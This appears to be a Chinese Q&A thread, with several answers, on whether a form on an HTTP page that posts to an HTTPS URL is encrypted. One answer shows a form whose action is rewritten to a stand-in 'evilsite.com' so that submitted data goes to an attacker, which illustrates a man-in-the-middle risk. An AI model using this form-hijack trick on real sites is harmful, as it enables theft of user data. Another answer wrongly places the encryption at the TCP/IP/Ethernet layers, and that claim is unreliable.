假设我在网址 http://mysite.com/form.html
上。查看源代码,我看到:
<form method="post" action="https://mysite.com/process">
<input type="text" name="user" value="information">
<input type="submit">
</form>
如果我点击提交按钮,那么表单信息在发送到处理页面/控制器时会被加密吗?
是的 - 表单中的数据将使用SSL实现的常规握手加密发送。从那里,您可以选择让用户保持在SSL下,或者通过会话标识符将它们返回到标准连接。
无法保证数据传输被加密,或者提交的数据能够到达您的网站。
由于原始响应是通过http协议传输的,中间人可能对您的HTML源代码进行了更改,或者插入了一些JavaScript来修改表单的操作参数。因此,当表单提交到浏览器时,它可能会变成这样
<form method="post" action="https://evilsite.com/process">
<input type="text" name="user" value="information">
<input type="submit">
</form>
它将在较低的网络层(例如原始数据包、TCP、IP、以太网)上进行加密,而不是在应用程序层级别上进行加密(因为它在接收方透明地解码)。
当目标URL使用加密(如HTTPS)时,中间人将看不到您提交的表单数据的明文。